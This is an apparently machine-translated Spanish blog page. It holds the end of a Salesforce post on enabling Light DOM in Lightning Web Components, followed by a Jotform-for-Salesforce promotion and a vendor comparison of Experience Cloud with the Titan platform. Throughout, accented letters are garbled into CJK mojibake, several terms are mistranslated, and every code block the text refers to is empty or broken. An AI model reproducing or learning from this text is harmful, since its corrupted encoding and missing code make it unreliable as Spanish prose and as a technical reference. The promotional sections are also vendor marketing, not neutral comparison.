No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulaci贸n de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideraci贸n.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de an谩lisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
芦>

mascotChanger.js

Tenga en cuenta que, aunque el p谩rrafo consultado pertenece al componente helloCodey , podemos acceder a 茅l con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habr铆a devuelto null .

Tambi茅n puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso est谩tico en la p谩gina, siempre y cuando todos los componentes ancestros est茅n habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso est谩tico de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementaci贸n m谩s sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar 煤til es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un 煤nico componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementaci贸n facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarqu铆a y tambi茅n la implementaci贸n de la accesibilidad. Adem谩s, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM tambi茅n facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la p谩gina. La inyecci贸n de estilos globales a trav茅s de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
芦>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicar谩 a los p谩rrafos de todas las instancias del componente helloCodey en la p谩gina, ya que est谩 habilitado para DOM claro.

En la mayor铆a de los casos, no querr谩s que tu estilo se filtre a otros componentes. Eso todav铆a es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance est谩 escrito exactamente igual que el CSS normal, pero solo se aplicar谩 a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos est谩ticos en una p谩gina de Lightning Experience o un sitio de Experience Cloud, se les quitar谩 el alcance y se aplicar谩n tanto a los componentes DOM claros como tambi茅n a los componentes DOM de sombra, ya que la sombra sint茅tica no evitar谩 que se filtren. Esta es una limitaci贸n que se solucionar谩 una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa est谩 habilitada, solo los componentes habilitados para DOM claro heredar谩n los estilos globales.

4) Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores pr谩cticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

芦>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

芦>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

芦>

Tenga en cuenta que Salesforce est谩 trabajando actualmente con el W3C para agregar nuevos est谩ndares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no ser谩 necesario. Como parte de nuestros esfuerzos de accesibilidad, tambi茅n patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber m谩s sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y d贸nde se admiten.

Experiencia en la nube Experiencia rel谩mpago Aplicaciones m贸viles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. S铆 S铆 S铆 S铆
Implementaci贸n m谩s sencilla de componentes profundamente anidados S铆 S铆 S铆 S铆
Estilo global S铆 No No S铆
Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad S铆 S铆 S铆 S铆

*Si se utiliza DOM de sombra nativo en lugar de sombra sint茅tica . La sombra nativa es la opci贸n predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea m谩s en la gu铆a para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no est谩n disponibles en ellos. Eche un vistazo a la documentaci贸n para saber m谩s.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusi贸n

En esta publicaci贸n de blog, revisamos qu茅 es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qu茅 componentes habilitar谩n la funci贸n. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar t煤 mismo.

Para obtener m谩s informaci贸n sobre DOM ligero en la plataforma Salesforce, lea la documentaci贸n o, si est谩 trabajando fuera de la plataforma, lea la documentaci贸n OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migraci贸n.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

JotForm: potentes formularios en l铆nea y automatizaci贸n del flujo de trabajo para Salesforce

JotForm: potentes formularios en l铆nea y automatizaci贸n del flujo de trabajo para Salesforce

脷ltima actualizaci贸n el 8 de septiembre de 2023 por Rakesh Gupta

Salesforce es la soluci贸n CRM basada en ventas, marketing y operaciones m谩s s贸lida y completa disponible. Los l铆mites de lo que puede hacer con los datos de sus clientes (una vez que est谩n en Salesforce) est谩n limitados 煤nicamente por su imaginaci贸n y habilidad para navegar por el ecosistema.

Pero no hay dos organizaciones iguales. Cada uno tiene sus propias necesidades, desde simples hasta complejas, desde la captura de clientes potenciales hasta la coordinaci贸n de eventos. Y la forma en que ingresa sus datos en Salesforce (tipo de integraci贸n, creaci贸n de objetos, coincidencia de campos, llenado previo, etc.) puede marcar la diferencia en cuanto a si sus flujos de trabajo de CRM realmente automatizan su trabajo pesado y le ahorran tiempo valioso o lo atascan con tareas manuales.

Es un motivo de orgullo para nosotros que miles de organizaciones sin fines de lucro, proveedores de servicios, empresas de atenci贸n m茅dica y m谩s hayan confiado en Jotform para canalizar los datos de sus clientes a Salesforce a lo largo de los a帽os.

Jotform ahora est谩 disponible en AppExchange de Salesforce para una experiencia de creaci贸n de formularios completamente nueva e intuitiva.

Beneficios de Jotform para Salesforce de un vistazo

Con Jotform en Salesforce AppExchange, sus flujos de trabajo experimentar谩n una verdadera automatizaci贸n de extremo a extremo, lo que ayudar谩 a su organizaci贸n a lograr sus objetivos m谩s r谩pido.

He aqu铆 por qu茅 le encantar谩 Jotform para Salesforce:

  1. Esta nueva soluci贸n de formulario, integrada autom谩ticamente con sus objetos y campos de Salesforce, elimina el cambio de plataforma.
  2. Con las automatizaciones l铆deres en la industria de Jotform directamente en su entorno Salesforce, puede crear flujos de trabajo m谩s confiables y productivos.
  3. La integraci贸n de datos automatizada entre sus formularios de cara al cliente y su base de datos de Salesforce garantiza precisi贸n y ahorro de tiempo (lo que significa ahorro de dinero).
  4. La aplicaci贸n de Jotform se alinea con los est谩ndares de seguridad de Salesforce y juntos ofrecemos cumplimiento normativo y seguridad de datos de CRM y formularios l铆deres en la industria.
  5. 隆Puedes probar la aplicaci贸n Jotform para Salesforce gratis!

Si usted es una organizaci贸n sin fines de lucro que digitaliza aplicaciones de quienes las necesitan, un B2B que recopila clientes potenciales y activos de video, un proveedor de atenci贸n m茅dica que registra informaci贸n de pedidos y facturas de consultorios m茅dicos, o una empresa l铆der con m谩s de 50,000 clientes, Jotform para Salesforce est谩 dise帽ado para escale con sus necesidades.

驴Qui茅n deber铆a utilizar Jotform para Salesforce?

Insinuamos que industrias como las organizaciones sin fines de lucro y la atenci贸n m茅dica son grandes usuarios de la integraci贸n heredada de Salesforce de Jotform. Pero realmente cualquier persona en cualquier industria que ya use Salesforce deber铆a usar esta versi贸n mejorada de la integraci贸n.

Adem谩s de sincronizar contactos y clientes potenciales est谩ndar , a continuaci贸n se muestran algunos casos de uso de muestra.

Industria Usos de Jotform y Salesforce
Sin 谩nimo de lucro Las organizaciones sin fines de lucro pueden sincronizar donaciones, solicitudes, registros de programas y material adicional de eventos que recopilan a trav茅s de Jotform con Salesforce. Tambi茅n pueden utilizar las aplicaciones de donaci贸n de Jotform y las automatizaciones del flujo de trabajo de aprobaci贸n dentro de Salesforce.
Cuidado de la salud Tanto los profesionales de la salud como los proveedores utilizan Jotform para crear facturas y formularios de citas compatibles con HIPAA. Pueden sincronizar datos de contactos relacionados con objetos personalizados en Salesforce.
Ventas Un flujo de trabajo automatizado de Jotform y Salesforce para clientes potenciales es fundamental para cualquier equipo de ventas. Adem谩s, Ventas   recibe propuestas de presupuestos as铆 como formularios de pedido de nuevos clientes. Pueden volver a atraer a su base de clientes actual con formularios precargados.
Servicios financieros Las empresas de servicios financieros utilizan ambas soluciones para calificar y gestionar la creaci贸n de pr茅stamos y actualizar la informaci贸n existente de los clientes, utilizando l贸gica condicional y formularios PDF inteligentes.
B2B/gesti贸n de eventos Las empresas orientadas a servicios asignan env铆os de registro a objetos personalizados y registran comentarios de encuestas en Salesforce.
Consultores Los usos aqu铆 van desde la creaci贸n de formularios que pueden integrarse en un sitio web hasta soluciones de firma electr贸nica y el llenado previo de datos utilizando informaci贸n de Salesforce.
Agencias y mesas comerciales Estas empresas venden servicios, cobran pagos y solicitudes y luego mapean y rastrean a sus solicitantes en Salesforce.

Creando su primer formulario de Salesforce

No solo todas sus automatizaciones de Jotform est谩n disponibles dentro de su instancia de Salesforce, sino que una gran caracter铆stica nueva de Jotform para Salesforce es el tipo de formulario 煤nico de Salesforce dentro de la aplicaci贸n.

Desde la p谩gina de inicio de Mis formularios , haga clic en el bot贸n Crear formulario como lo har铆a normalmente. Ahora ver谩 la opci贸n Crear formulario de Salesforce , que le permite crear un formulario que se integra autom谩ticamente con sus objetos de Salesforce.

Imagen de la p谩gina de inicio 'Mis formularios' con el bot贸n 'Crear formulario', resaltando la nueva opci贸n 'Crear formulario de Salesforce' para la integraci贸n autom谩tica con objetos de Salesforce

Esta nueva opci贸n es perfecta para asignar de manera eficiente sus campos de Salesforce a sus formularios. Permite una sincronizaci贸n de campos m谩s sencilla desde sus formularios con clientes potenciales, contactos, cuentas u otros objetos/registros personalizados, dejando atr谩s conexiones de integraci贸n complejas.

Simplemente seleccione los objetos que se adapten a sus necesidades y agr茅guelos a su nuevo formulario. Los objetos son b谩sicamente mini bases de datos. Cada base de datos contiene campos relevantes para el objeto.

En este formulario de ejemplo de Salesforce, seleccion茅 tres objetos: Cliente potencial , Evento y Adjunto . No hay l铆mite para la cantidad de objetos que puede seleccionar para satisfacer sus necesidades de datos.

Captura de pantalla de un formulario de ejemplo de Salesforce con tres objetos seleccionados

Una vez que haya seleccionado todos sus objetos (y haya verificado los campos dentro de ellos para obtener los datos que desea en su formulario), haga clic en Crear formulario . Su nuevo formulario mostrar谩 todos los campos que ha seleccionado.

Por ejemplo, cuando alguien env铆a mi nuevo formulario de cliente potencial, sus detalles completar谩n autom谩ticamente los objetos en mi base de datos de Salesforce.

Captura de pantalla que ilustra c贸mo un formulario de cliente potencial enviado completa autom谩ticamente los objetos de base de datos de Salesforce seleccionados

驴Necesita actualizar o editar su formulario? Utilice el nuevo 铆cono de Salesforce dentro del creador de formularios para actualizar sus objetos. Puede cambiar o agregar campos dentro de sus objetos existentes o agregar otros nuevos.

Imagen que resalta el 铆cono de Salesforce en el creador de formularios

Cuando haga clic en Siguiente , tendr谩 la opci贸n de activar Actualizar registro para evitar duplicados en su base de datos.

Tambi茅n puede hacer clic en el bot贸n Agregar acci贸n para crear un nuevo registro, actualizar uno existente o buscar un registro existente.

Imagen que muestra el bot贸n 'Agregar acci贸n' para ver opciones para crear, actualizar o buscar un registro de base de datos.
Anuncio de Jotform para Salesforce Imagen-1
[contenido incrustado]

La ventaja de Jotform, ahora en Salesforce

Si bien otras soluciones de AppExchange pueden ayudarlo a importar datos a Salesforce, creemos que la calidad y el alcance de nuestras automatizaciones de flujo de trabajo marcan la diferencia.

Por ejemplo, ahora es f谩cil completar previamente sus formularios de forma segura dentro de la interfaz de Salesforce.

Simplemente vaya a la pesta帽a Publicar , acceda a Precompletar desde el men煤 de la izquierda, elija Salesforce Precompletar y cargue la informaci贸n de contacto y cliente potencial que necesita en sus formularios. Como ya est谩 en Salesforce, no es necesaria ninguna autenticaci贸n de cuenta.

Se ha demostrado que rellenar previamente formularios ofrece mayores tasas de conversi贸n de formularios y una mayor precisi贸n de los clientes potenciales (adem谩s de actualizar sus contactos de Salesforce o los detalles de su empresa con nueva informaci贸n).

Para profundizar m谩s,obtenga m谩s informaci贸n sobre c贸mo completar previamente formularios con sus objetos de Salesforce.

captura de pantalla de algunos logotipos de pasarelas de pago

Si est谩 cobrando pagos, puede agregar una de las m谩s de 40 integraciones de pagos a sus formularios de Salesforce. Personalice los campos en sus objetos para indicar si se ha cobrado una tarifa al enviar el formulario o registre el monto pagado en los campos de su objeto.

Captura de pantalla que muestra c贸mo crear un acuerdo de Jotform Sign en Salesforce

Cree un acuerdo de Jotform Sign dentro de Salesforce que se configure autom谩ticamente para la aprobaci贸n de las partes interesadas internas. Recopilar谩 documentos firmados que mantendr谩n el trabajo en movimiento y la productividad en sus niveles m谩s altos.

Estas y otras automatizaciones basadas en formularios, como la generaci贸n de PDF, Jotform Approvals, Jotform Apps y Report Builder, junto con los nuevos formularios de Salesforce, contin煤an optimizando sus flujos de trabajo mientras se adaptan a sus necesidades 煤nicas de Salesforce de maneras innovadoras.

Si trabaja para una organizaci贸n empresarial que utiliza Salesforce como CRM, obtenga m谩s informaci贸n sobre Jotform Enterprise en Salesforce AppExchange .

Consejos para trabajar en Salesforce

驴Nuevo en Salesforce? Esta potente soluci贸n puede ayudar a su organizaci贸n a gestionar los procesos y la participaci贸n de los clientes de muchas maneras, pero empezar puede resultar desalentador.

A continuaci贸n se ofrecen algunos consejos 煤tiles que debe tener en cuenta si reci茅n est谩 comenzando:

  1. Fijaci贸n de objetivos . Defina c贸mo se ve el 茅xito para sus necesidades y flujos de trabajo. Catalogue los datos que est谩 importando y mapee c贸mo le gustar铆a administrarlos. Esto le brindar谩 una visi贸n integral de sus flujos de trabajo ideales para que pueda separar las necesidades de los deseos.
  2. Considere un consultor . No todo el mundo tiene el presupuesto para una consultor铆a. Pero si lo hace, tener un asesor a mano puede ahorrarle mucho tiempo. Adem谩s, pueden capacitar a sus partes interesadas para que el conocimiento pueda transmitirse en el futuro.
  3. Entrena . Cada organizaci贸n tiene expertos en la materia, as铆 que 驴por qu茅 no crear sus propios gur煤s de Salesforce? Haga que aquellos que quieran aprender nuevas habilidades comiencen con recursos gratuitos disponibles en Trailblazer Community , YouTube, TikTok y m谩s.
Anuncio de Jotform para Salesforce Image-2

Conclusi贸n

Jotform para Salesforce mejora su experiencia ofreciendo

  • Captura de datos perfecta a trav茅s de formularios dentro de la interfaz de Salesforce. Esto facilita el mapeo de campos y la transferencia de datos a clientes potenciales, contactos y objetos personalizados.
  • Generaci贸n de leads mejorada . Simplemente inserte sus formularios de Salesforce en el sitio web de su empresa (o en las redes sociales). Su equipo de ventas puede realizar un seguimiento f谩cil de los flujos de datos en tiempo real.
  • Calidad de datos mejorada a trav茅s de un mapeo de campo preciso a trav茅s de la aplicaci贸n Jotform. Sus equipos ya no necesitar谩n ingresar datos manualmente.
  • Una experiencia de usuario integrada . Tener acceso a todas las funciones de Jotform dentro de Salesforce elimina la necesidad de cambiar de plataforma, lo que simplifica el proceso.

Si ya es cliente pago de Jotform con una integraci贸n de Salesforce, podr谩 instalar Jotform en AppExchange y comenzar a usarlo ahora (los consultores son una excepci贸n).

Para aquellos con un plan Jotform Starter, pueden disfrutar de hasta cinco formularios y 100 env铆os mensuales por nuestra cuenta; sin embargo, deber谩 actualizar a un plan pago si desea aumentar el uso, el espacio de almacenamiento o la cantidad de usuarios.

Si sus necesidades exceden lo disponible con el plan Starter, puede unirse a cualquiera de los siguientes planes para un solo usuario:

  • Bronce: $39/mes
  • Plata: $49/mes
  • Oro: $129/mes

Las organizaciones sin fines de lucro califican autom谩ticamente para descuentos. Y para aquellos que requieren acceso a toda la empresa o un enfoque personalizado, Jotform ofrece soluciones empresariales; Hable con alguien hoy para obtener m谩s informaci贸n.

Pruebe Jotform para Salesforce hoy y d铆ganos c贸mo se siente al respecto. Adem谩s, no dude en comentarnos en AppExchange.

Chris es creador y comercializador de contenidos en Jotform y cree en la escritura creativa como fuerza para el cambio positivo. Al poseer una experiencia profesional y un conjunto de habilidades diversas, Chris produce un liderazgo intelectual galardonado. El cine, los viajes, el dise帽o y la buena comida y vino con amigos se encuentran entre sus amores.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es lo que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntete libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Las Mejores Alternativas a Salesforce Experience Cloud

Las Mejores Alternativas a Salesforce Experience Cloud

脷ltima actualizaci贸n el 22 de septiembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴Cu谩les son las mejores alternativas a Experience Cloud del mercado? 驴Y es posible encontrar una herramienta sin c贸digo que le permita crear portales y aplicaciones totalmente personalizables?

Objetivos:

Despu茅s de leer este blog, tendr谩s:

  • Comprensi贸n de Salesforce Experience Cloud, incluidas sus fortalezas y debilidades.
  • Conocimiento de los pros y los contras de utilizar desarrollo personalizado para crear portales y aplicaciones web.
  • Una introducci贸n a Titan Web, con una explicaci贸n de c贸mo esta herramienta de c贸digo cero puede brindarle la libertad de crear cualquier aplicaci贸n web o portal que desee.

El director de ventas Eric Brown se acerc贸 a Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC). Eric quiere un sistema totalmente digitalizado para gestionar los procesos internos de recursos humanos. La directora de recursos humanos y su equipo est谩n muy ocupados utilizando procesos manuales y parcialmente digitalizados para contratar, gestionar n贸minas y cuidar el bienestar de los empleados. 隆Asegurarse de que todo el papeleo y la administraci贸n est茅n actualizados es una p茅rdida de hasta 12 horas cada semana! Est谩 empezando a ser abrumador.

La empresa quiere un portal para empleados rentable y totalmente personalizable, integrado con Salesforce, que no requiera codificaci贸n ni conocimientos t茅cnicos especiales para su implementaci贸n. Saben que Salesforce Experience Cloud es una posible soluci贸n, pero tambi茅n les preocupa que sea costoso y no lo suficientemente flexible para sus necesidades. Entonces, 驴cu谩les son las alternativas de Experience Cloud ?

Experiencia en la nube

Salesforce Experience Cloud, anteriormente conocida como Salesforce Community, se introdujo en 2013 como una plataforma para crear comunidades en l铆nea de marca. A lo largo de los a帽os, Salesforce Experience Cloud evolucion贸 con actualizaciones y mejoras. Hoy en d铆a, sirve como una soluci贸n integral para crear portales atractivos, aplicaciones web, comunidades y experiencias de autoservicio, lo que permite a las organizaciones ofrecer interacciones fluidas e impulsar el compromiso de clientes, socios y empleados.

La creaci贸n de aplicaciones web y portales de autoservicio con Experience Cloud puede mejorar la experiencia de sus empleados en el lugar de trabajo y aliviar la presi贸n de su departamento de recursos humanos. Un portal de autoservicio o una aplicaci贸n web creada con Experience Cloud proporciona a los empleados acceso directo a su informaci贸n personal y profesional, lo que facilita la actualizaci贸n de informaci贸n y registros en cualquier momento o lugar.

Echemos un vistazo m谩s de cerca a algunas de las ventajas y desventajas de utilizar Experience Cloud para crear portales para su organizaci贸n.

Las mayores ventajas de Experience Cloud:

  • Plantillas listas para usar para impulsar su implementaci贸n
  • Soluciones Lightning Bolt disponibles de forma gratuita o compradas en Salesforce AppExchange
  • Acceso completo a los datos de Customer 360 guardados en Salesforce
  • Salesforce Experience Cloud funciona a trav茅s de un software intuitivo de arrastrar y soltar, por lo que no es necesario tener ninguna experiencia t茅cnica especial ni conocimientos de codificaci贸n.
  • Dado que Experience Cloud es nativo de Salesforce, no es necesario realizar ning煤n trabajo de integraci贸n adicional. El software ya habla el idioma de los administradores de Salesforce y tiene la interfaz de usuario con la que estar铆an familiarizados.
  • Puedes crear p谩ginas p煤blicas y privadas. La ventaja de esto es que s贸lo los usuarios con los permisos de acceso adecuados podr谩n visitar espacios espec铆ficos.
  • Las opciones listas para usar de Experience Cloud le brindan G2M r谩pido y lo m谩s probable es que pueda crear su portal o sitio en uno o dos d铆as.
  • Tambi茅n tiene la opci贸n de dise帽ar su portal o sitio web de la manera que desee utilizando im谩genes y colores personalizados para que coincidan con la apariencia de su marca.
  • Listo para dispositivos m贸viles

Contras de Experience Cloud:

  • Las opciones listas para usar no le brindan mucha flexibilidad para personalizar y ajustar el dise帽o de su p谩gina para satisfacer sus necesidades.
  • Experience Cloud es algo limitado desde la perspectiva de la experiencia del usuario; por ejemplo, no puede utilizar elementos repetidos, edici贸n en l铆nea de tablas, pantallas modales y otros elementos atractivos. Por ejemplo, es posible que desee crear un elemento que abra la biblioteca de c谩maras del usuario al hacer clic en 茅l, pero con Salesforce Experience Cloud esto es imposible.
  • Salesforce Experience Cloud es definitivamente caro, por lo que si desea optar por esta soluci贸n, prep谩rese para pagar
  • No se puede diferenciar entre la experiencia del usuario de escritorio y m贸vil usando opciones listas para usar. Para ello es necesario recurrir al desarrollo personalizado.
  • Sin validaciones de entrada en tiempo real. Primero debes hacer clic en el bot贸n 鈥淕uardar鈥.
  • Las integraciones fuera de Salesforce son tareas complejas y requieren un desarrollo extenso
  • Hay una cantidad limitada de plantillas disponibles y estas solo cubren casos de uso espec铆ficos. Esto significa que es posible que no encuentre la plantilla adecuada para las necesidades de su negocio.

Ejemplo de plantillas de Salesforce Experience Cloud a continuaci贸n. Cr茅dito: https://www.salesforce.com/products/experience-cloud/features/templates/

驴Puede el desarrollo personalizado superar las limitaciones de Experience Cloud?

Aprovechar los recursos del desarrollo personalizado es otra forma de crear un portal o sitio web que se adapte a las necesidades de su negocio. Y en muchos sentidos, esta opci贸n le ayuda a superar las limitaciones de Experience Cloud. Estas son algunas de las principales razones para utilizar el desarrollo personalizado, as铆 como sus inconvenientes:

Ventajas del desarrollo personalizado:

  • Lo bueno de utilizar el desarrollo personalizado para crear sus aplicaciones y portales es que puede hacer lo que quiera con su lienzo en blanco, por ejemplo, integrarlo con m煤ltiples sistemas externos a Salesforce.
  • Puede emplear desarrolladores para crear cualquier UX que desee, de modo que no est茅 limitado a Salesforce UX al determinar la experiencia que tienen los clientes cuando visitan su sitio.
  • Puedes crear dise帽os din谩micos para cualquier dispositivo, por ejemplo, port谩til o m贸vil, sin restricciones.
  • Su portal o sitio puede personalizarse para cualquier caso de uso que se le ocurra. 隆Si puedes so帽arlo puedes hacerlo!
  • Proporciona mayor control y propiedad: con un portal o sitio web de desarrollo propio, las organizaciones tienen total propiedad y control sobre la propiedad intelectual, el c贸digo fuente y las mejoras futuras.

El desarrollo personalizado ofrece la gran ventaja de brindarle libertad absoluta para crear el portal de sus sue帽os sin barreras, restricciones ni compromisos. Pero este m茅todo no est谩 exento de desventajas. Vea a continuaci贸n algunos de los principales puntos d茅biles:

Desventajas del desarrollo personalizado:

  • Falta de experiencia t茅cnica: desarrollar un portal o una aplicaci贸n web requiere habilidades y recursos t茅cnicos especializados
  • Limitaciones de tiempo y recursos: crear una aplicaci贸n o un portal web puede ser un proceso que requiere mucho tiempo y una inversi贸n significativa.
  • La salida al mercado puede verse seriamente retrasada, lo que podr铆a afectar negativamente a sus objetivos comerciales.
  • R谩pidos avances tecnol贸gicos: el panorama tecnol贸gico evoluciona continuamente y peri贸dicamente surgen nuevas caracter铆sticas, marcos y plataformas. Desarrollar una aplicaci贸n web o un portal internamente requiere mantenerse actualizado con las 煤ltimas tecnolog铆as y mejores pr谩cticas.
  • Desaf铆os de mantenimiento y soporte: una vez que se desarrolla un portal de autoservicio o una aplicaci贸n web, el mantenimiento y el soporte continuos son esenciales para su buen funcionamiento.
  • B谩sicamente, depender谩 de los recursos de desarrollo y se ver谩 paralizado cuando desee realizar actualizaciones simples. 隆No suena divertido!
  • Problemas de integraci贸n: desarrollar una aplicaci贸n web o un portal internamente puede plantear conflictos de integraci贸n con sistemas, bases de datos o servicios de terceros existentes.
  • Consideraciones de seguridad y cumplimiento: crear una aplicaci贸n o un portal seguro implica implementar medidas de seguridad s贸lidas y garantizar el cumplimiento de las normas de protecci贸n de datos.
  • Centrarse en las competencias b谩sicas: las organizaciones deben evaluar si el desarrollo de una aplicaci贸n o portal se alinea con sus competencias b谩sicas y prioridades estrat茅gicas.
  • 隆Dinero dinero dinero! Esta es definitivamente tu opci贸n m谩s cara, as铆 que prep谩rate para acumular una factura.

隆Haci茅ndolo todo con la plataforma de experiencia digital de Titan!

Titan es una plataforma de experiencia completa que le brinda la libertad de crear sus propios portales, sitios de autoservicio, formularios de Salesforce , encuestas y mucho m谩s. Y es una de las mejores alternativas a Experience Cloud del mercado.

Titan es una plataforma sin c贸digo con una interfaz intuitiva de arrastrar y soltar que permite a los administradores de Salesforce crear y configurar sitios web potentes para cualquier industria y caso de uso. Entonces, la verdadera pregunta es: 驴c贸mo se compara Titan con Experience Cloud? 驴Tiene tambi茅n ventaja sobre el desarrollo personalizado? A continuaci贸n, detallamos c贸mo Titan Web puede permitirle crear sitios web impresionantes y portales personalizados:

Puntos ganadores de Tit谩n:

  • Plataforma de c贸digo cero con una interfaz sencilla de arrastrar y soltar, por lo que no necesita gastar dinero en desarrollos costosos
  • Integraci贸n bidireccional en tiempo real con Salesforce y acceso completo a Customer 360
  • Plantillas listas para usar para acelerar su comercializaci贸n
  • Experiencia de usuario 100 % flexible por dispositivo para viajes de cliente personalizados
  • Totalmente de marca para que coincida con la apariencia de su organizaci贸n.
  • El enfoque m贸vil primero le brinda la capacidad de escalar
  • Totalmente seguro y compatible con los principales marcos regulatorios como GDPR, SOC 2 e HIPAA
  • Cree perfiles personalizados para clientes y socios que sean f谩ciles de implementar
  • Genere documentos y f铆rmelos desde su aplicaci贸n o portal
  • Capacidades sin conexi贸n para que pueda utilizar esta herramienta incluso cuando est茅 fuera del alcance de Internet
  • Compatible con m煤ltiples idiomas y monedas
  • Integraciones integradas de terceros
  • Capacidades completas de gesti贸n de versiones
  • Rentable en comparaci贸n con la competencia

Ahora, echemos un vistazo a las desventajas de Titan:

  • El tiempo de incorporaci贸n puede variar entre 4 y 20 horas, seg煤n la complejidad de su caso de uso.
  • Ocasionalmente, para una l贸gica o un dise帽o de dise帽o muy complejos, una organizaci贸n necesitar谩 agregar c贸digo JS y/o CSS para ajustarse a sus necesidades.
  • El dominio/subdominio del sitio web est谩 limitado a uno por cliente. Se pueden comprar dominios adicionales por un costo adicional

El arma secreta de Titan es su poder para crear aplicaciones web totalmente personalizables sin tener que escribir una sola l铆nea de c贸digo. Sin concesiones ni agendas ocultas para que pueda acelerar su comercializaci贸n.

Comparaci贸n de Experience Cloud frente a la competencia

Arriba, profundizamos en Salesforce Experience Cloud y sus principales alternativas. Pero, 驴cu谩l es el resultado final y qui茅n sale como el verdadero ganador? Eche un vistazo a nuestra tabla comparativa a continuaci贸n para descubrirlo:

Experiencia en la nube Desarrollo a la medida Plataforma Tit谩n
Costo Medio Muy caro Medio
Hora de comprar Corto Largo Muy corto
Esfuerzo de mantenimiento prolongado Bajo Muy alto Bajo
Recursos necesarios para el proyecto Administrador de SF Desarrolladores Administrador de SF
Flexibilidad de dise帽o Muy poco Lleno Lleno
Experiencia de usuario Lo mismo que Salesforce. No puedes crear tu propia experiencia de usuario Puedes desarrollar cualquier cosa que puedas so帽ar. Casi todo lo que puedas so帽ar
Marca S铆 con temas personalizados S铆 S铆 con temas personalizados
Integraci贸n de Salesforce S铆 Requiere desarrollo por integraci贸n. S铆
Integraciones de terceros Requiere complementos pagos o desarrollo Requiere complementos pagos o desarrollo S铆
Validaciones de datos en tiempo real No S铆 S铆
Flujo de trabajo y automatizaci贸n S铆 No S铆
M贸vil Listo para dispositivos m贸viles Dise帽o completamente din谩mico por dispositivo Dise帽o completamente din谩mico por dispositivo
Conocimiento de Salesforce Compatible Requiere desarrollo Compatible
Compromiso digital de Salesforce Compatible Requiere desarrollo Compatible

